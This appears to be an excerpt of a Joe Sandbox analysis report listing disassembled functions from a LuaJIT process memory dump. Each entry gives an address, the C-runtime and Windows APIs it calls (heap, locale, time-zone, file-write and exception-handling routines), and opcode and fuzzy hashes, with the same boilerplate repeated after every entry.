Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fb79b73e31443315b15ba215925383b008ee0bd27683f4ef0e524f3c4fb95238
Instruction ID: ca1df5022996348b04ee4e1dd58e9608e0bd31ad11e9bbb2d294182d85983088
Opcode Fuzzy Hash: fb79b73e31443315b15ba215925383b008ee0bd27683f4ef0e524f3c4fb95238
Instruction Fuzzy Hash: 6E11BB61A1EA4643FF21BB109400BBDD2607F45BA0FE45230E74D0769ADF3DE4058728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6B880 Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B8D4

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: af37a60413a17d8473b8d44331bda34389474ee41ecb07c9201159644b11a6c4
Instruction ID: b9fad87d9681e05cb812d949d050fd3691c2786bb660be4014d6b3bfcfc568e6
Opcode Fuzzy Hash: af37a60413a17d8473b8d44331bda34389474ee41ecb07c9201159644b11a6c4
Instruction Fuzzy Hash: 2801A521A09B4542EB04AB52590087AE795BF85FF0F984731EE5C13BDACE3CE0468318

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7D8D4 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa6a365d5d5c4294d64f83ce85103c55880a4483ee34e8b82cb97a1197a25a5
Instruction ID: db5df8fd31b877acbc3e01fc82b5135aa330bb23ec5e5ab910136c70a22b6ba8
Opcode Fuzzy Hash: 8fa6a365d5d5c4294d64f83ce85103c55880a4483ee34e8b82cb97a1197a25a5
Instruction Fuzzy Hash: 64115B62A0AE4682EB45AF50D440AADF760FB80770FD04332E65D026DACF7DE109C768

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6B3F8 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B415

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b9723b2fa6b8395273e2ffa61bfe6fca328ee90c81d1884146be664d7a584207
Instruction ID: 2f7699bebbe10579ae1b2b4225cd265ea58d6e915eba3378704e89f5db232118
Opcode Fuzzy Hash: b9723b2fa6b8395273e2ffa61bfe6fca328ee90c81d1884146be664d7a584207
Instruction Fuzzy Hash: 10018422E0BD0643FF14BA759455B79D2506F457B4FB40330E92A472DADE3DF80A9268

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A1D190 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FF718A1D1D1

Part of subcall function 00007FF718A1D210: VirtualAlloc.KERNELBASE(?,?,?,?,?,?,?,00007FF718A30004), ref: 00007FF718A1D27A
Part of subcall function 00007FF718A1D210: VirtualFree.KERNEL32(?,?,?,?,?,?,?,00007FF718A30004), ref: 00007FF718A1D2B4

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: Virtual$AllocFreeProtect
String ID:
API String ID: 267585107-0
Opcode ID: dcc13f55656fb396d02a56895d196d25d38c93555ce6819a28256a1c2de6f193
Instruction ID: 0ef4751c76d8da418bba112e8e45bffad86da242ad907d0a8ad6dc957dc85313
Opcode Fuzzy Hash: dcc13f55656fb396d02a56895d196d25d38c93555ce6819a28256a1c2de6f193
Instruction Fuzzy Hash: 06F03C2160AE8682EB54EF22E944AB8F360EB44B9CF481136DF1D4B355DF3CD0488764

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A795B8 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF718A7AF15,?,?,?,00007FF718A6B3E1,?,?,?,?,00007FF718A80643), ref: 00007FF718A7960D

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8c92631ddd479108e65c3c82da5241e8d94697d5707ddd739e7f006b69fafb14
Instruction ID: 3aa0116b1c528698dc645a030281994868a3beede6b000496637d2afe87f8196
Opcode Fuzzy Hash: 8c92631ddd479108e65c3c82da5241e8d94697d5707ddd739e7f006b69fafb14
Instruction Fuzzy Hash: 3DF04940B0BA4743FF547A615851AB8D2815F89BB0FCC5736C90E86391DE2EE48D5238

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189F0440 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718A6B4E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B4F4

_fread_nolock.LIBCMT ref: 00007FF7189F0483

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _fread_nolock_invalid_parameter_noinfo
String ID:
API String ID: 2335118202-0
Opcode ID: 15c3c532cb73625206ed1f9b06d8fcd0b23835c2a08478eab71b4d7046a8b065
Instruction ID: c33ef8394ec0536c2c1eebc19ded5cc6077c010530e1b313c6590f0e1ef6bd0c
Opcode Fuzzy Hash: 15c3c532cb73625206ed1f9b06d8fcd0b23835c2a08478eab71b4d7046a8b065
Instruction Fuzzy Hash: 7DF0B432718B8481EB949F13F581669A350FB48BD4F885031EF9E83B49DF38D4A18704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189E5074 Relevance: 1.5, APIs: 1, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE ref: 00007FF7189E50C2

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction ID: 0da02335e18911a2f5c148643f31f76019b6d0e2f9792e9146d4d83da066fc17
Opcode Fuzzy Hash: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction Fuzzy Hash: 05011926208E84C5D705AF3AC4504ACBBA4FB49F9EB084226EF8D6732CEF25D549C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6B47C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B49E

Part of subcall function 00007FF718A6B3F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B415

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 762f786ab5525af94e295b21e3b2186b322adc5012f5be3598c3d5dbbca7c19f
Instruction ID: 0bcc154005bcb7e06a316559b935ebe009060ad30047e639390af0c0337712f4
Opcode Fuzzy Hash: 762f786ab5525af94e295b21e3b2186b322adc5012f5be3598c3d5dbbca7c19f
Instruction Fuzzy Hash: F8F03021A0AE4787EB14B669A40597DE250BF417B0FB41330F6194668ADE6CE4868728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7A62C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF718A7BFDE,?,?,?,00007FF718A6A8D4,?,?,?,00007FF718A6A89A,?,?,?,00007FF718A6AA21), ref: 00007FF718A7A66A

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c16f1a2d3b42783f13f4d960bc926358202b28562f19cfa66caf4b8f23791fb1
Instruction ID: 5ae616c1b6b94cadd78743114e9a3eb801a4e6155d48dfba216e5e1996a83155
Opcode Fuzzy Hash: c16f1a2d3b42783f13f4d960bc926358202b28562f19cfa66caf4b8f23791fb1
Instruction Fuzzy Hash: 0EF05801B1BA4797FF1437E15861E78D2815F887B1F880334982E862D1EE2EF448AA38

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189EECC0 Relevance: 1.4, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7189EECE5

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 526dd2860da309f752e50aca46e16e5b7dcd6ab4698f76a39c615ec891af7be3
Instruction ID: 488abf73e25b64eb00b9748b4d8bcabe7db2a3a42e4de4f31174132d6f130f40
Opcode Fuzzy Hash: 526dd2860da309f752e50aca46e16e5b7dcd6ab4698f76a39c615ec891af7be3
Instruction Fuzzy Hash: 2241F472708A4586D725EF26D8043ADFBA0FB44BA4F940632DE9D07795CE3CE48AC704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A1CF50 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?,?,00007FF7189FA78C,?,?,?,00007FF7189EA47A), ref: 00007FF718A1CF8B

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 25f0752e9c5e1c41a3bbac51f148e05c729895121489531105f02cbf924fc3bd
Instruction ID: b3a137b87ff05936e59d6648eb2b443ff26ba2d04da4f6b7a063308a301f115f
Opcode Fuzzy Hash: 25f0752e9c5e1c41a3bbac51f148e05c729895121489531105f02cbf924fc3bd
Instruction Fuzzy Hash: 7CE06D25A0AF8182EB58DB0BD4403A8B6A1FF8CB48F8CC230CA8D03304DF3CC0598700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF718A8A3DC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718A7AD3C: GetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7AD4B
Part of subcall function 00007FF718A7AD3C: SetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7ADE9

TranslateName.LIBCMT ref: 00007FF718A8A449
TranslateName.LIBCMT ref: 00007FF718A8A484
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF718A77518), ref: 00007FF718A8A4C9
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF718A77518), ref: 00007FF718A8A4F1

Strings

utf8, xrefs: 00007FF718A8A5D5

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValid
String ID: utf8
API String ID: 2136749100-905460609
Opcode ID: 37c6103468d14ebedd279d605b6ed83e4f92250a7d4cdd901299f417aef6e53b
Instruction ID: e9b7bf2d9cc339ae68d37076a92666ce348608cd79bc365087b531329d92e56f
Opcode Fuzzy Hash: 37c6103468d14ebedd279d605b6ed83e4f92250a7d4cdd901299f417aef6e53b
Instruction Fuzzy Hash: 4191C332B0AF4287EB20BB11D412AB9E295EB45BA1F844231DA4D47785EF3CF559C339

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A8AE10 Relevance: 10.7, APIs: 7, Instructions: 171COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718A7AD3C: GetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7AD4B
Part of subcall function 00007FF718A7AD3C: SetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7ADE9

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF718A77511), ref: 00007FF718A8AF67
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF718A8AF80
ProcessCodePage.LIBCMT ref: 00007FF718A8AFAA
IsValidCodePage.KERNEL32 ref: 00007FF718A8AFBC
IsValidLocale.KERNEL32 ref: 00007FF718A8AFD2
GetLocaleInfoW.KERNEL32 ref: 00007FF718A8B02E
GetLocaleInfoW.KERNEL32 ref: 00007FF718A8B04A

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 3939093798-0
Opcode ID: bb27ecb80f326de69b2bc042a2605d4d492ea8d5939a720322dd366a513871ed
Instruction ID: 8828264d87466ed693cd1be4e18c72bbfa064e906e4062bc23a54909e5409dee
Opcode Fuzzy Hash: bb27ecb80f326de69b2bc042a2605d4d492ea8d5939a720322dd366a513871ed
Instruction Fuzzy Hash: 26719022B06A028BFB10AB60D461ABCF3B0BB05765F844635CA1D53695EF7DB849C379

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A82D80 Relevance: 9.3, APIs: 6, Instructions: 280timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF718A82DCA

Part of subcall function 00007FF718A82720: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A82734

_get_daylight.LIBCMT ref: 00007FF718A82DB9

Part of subcall function 00007FF718A82780: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A82794

_get_daylight.LIBCMT ref: 00007FF718A83042
_get_daylight.LIBCMT ref: 00007FF718A83053
_get_daylight.LIBCMT ref: 00007FF718A83064
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF718A83270), ref: 00007FF718A8308B

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$InformationTimeZone
String ID:
API String ID: 435049134-0
Opcode ID: acd602a20641a1e0021de9976082e0f02524a7123e8bb7d0934f9112a3952553
Instruction ID: 3414e88a23059d96b73494f02266c4f5017d0ea5d24c4e419c0ebdba18985f9a
Opcode Fuzzy Hash: acd602a20641a1e0021de9976082e0f02524a7123e8bb7d0934f9112a3952553
Instruction Fuzzy Hash: 82B1F326E1AA4247EB10FF22D4429B9E761BF857A4FC44235EA0C43B95DF3CE4498738

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A74B08 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A74B2A
_get_daylight.LIBCMT ref: 00007FF718A74B8A
_get_daylight.LIBCMT ref: 00007FF718A74B9B
_get_daylight.LIBCMT ref: 00007FF718A74BAC
_isindst.LIBCMT ref: 00007FF718A74BFD
_isindst.LIBCMT ref: 00007FF718A74C50

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
String ID:
API String ID: 1405656091-0
Opcode ID: a78ce45543d163b27d273261e845287827b59cb7cb8f5f1008334f4b2a1c458a
Instruction ID: e6a0d728dfab981e5c9614003733d5a16e2aaa0be77911f6008500ad02ea0346
Opcode Fuzzy Hash: a78ce45543d163b27d273261e845287827b59cb7cb8f5f1008334f4b2a1c458a
Instruction Fuzzy Hash: B69128B2B067468BEB189F25C9417B8E395EB44B98F848235DB0D4B789EF3DE405C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A78C9C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF718A78D15
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF718A78D2D
RtlVirtualUnwind.KERNEL32 ref: 00007FF718A78D68
IsDebuggerPresent.KERNEL32 ref: 00007FF718A78DA1
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF718A78DAB
UnhandledExceptionFilter.KERNEL32 ref: 00007FF718A78DB6

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 51f52da4c5a4008aadc5bd230d6ecd048176a1ee57bc4013da91a956b30600b9
Instruction ID: 1a1cdfdc82042cdfbd6842bc2a507817504591ef4899574fd522c097c16d9302
Opcode Fuzzy Hash: 51f52da4c5a4008aadc5bd230d6ecd048176a1ee57bc4013da91a956b30600b9
Instruction Fuzzy Hash: 7131B632609F8186DB60DF25E8406AEB3A0FB88764F940236EB8D43B59DF3CD159C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7C81C Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF718A7C88B
WriteFile.KERNEL32 ref: 00007FF718A7CB42
WriteFile.KERNEL32 ref: 00007FF718A7CB94
GetLastError.KERNEL32 ref: 00007FF718A7CC96
GetLastError.KERNEL32 ref: 00007FF718A7CCF6

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: d781c31e04745800bfa0f421d82ff93f3733d0fe2e0e7ef74ea63fc8014f1798
Instruction ID: 436a54b38ed922c474bfe4273374bd6bddeb620b41328aeda3454e67346233ff
Opcode Fuzzy Hash: d781c31e04745800bfa0f421d82ff93f3733d0fe2e0e7ef74ea63fc8014f1798
Instruction Fuzzy Hash: A2E12D32B19A818AE700DF64D0805ADFBB1FB447A8F804236DF4E67B99DE39D51AC314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A83014 Relevance: 6.1, APIs: 4, Instructions: 149timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF718A83042

Part of subcall function 00007FF718A82780: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A82794

_get_daylight.LIBCMT ref: 00007FF718A83053

Part of subcall function 00007FF718A82720: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A82734

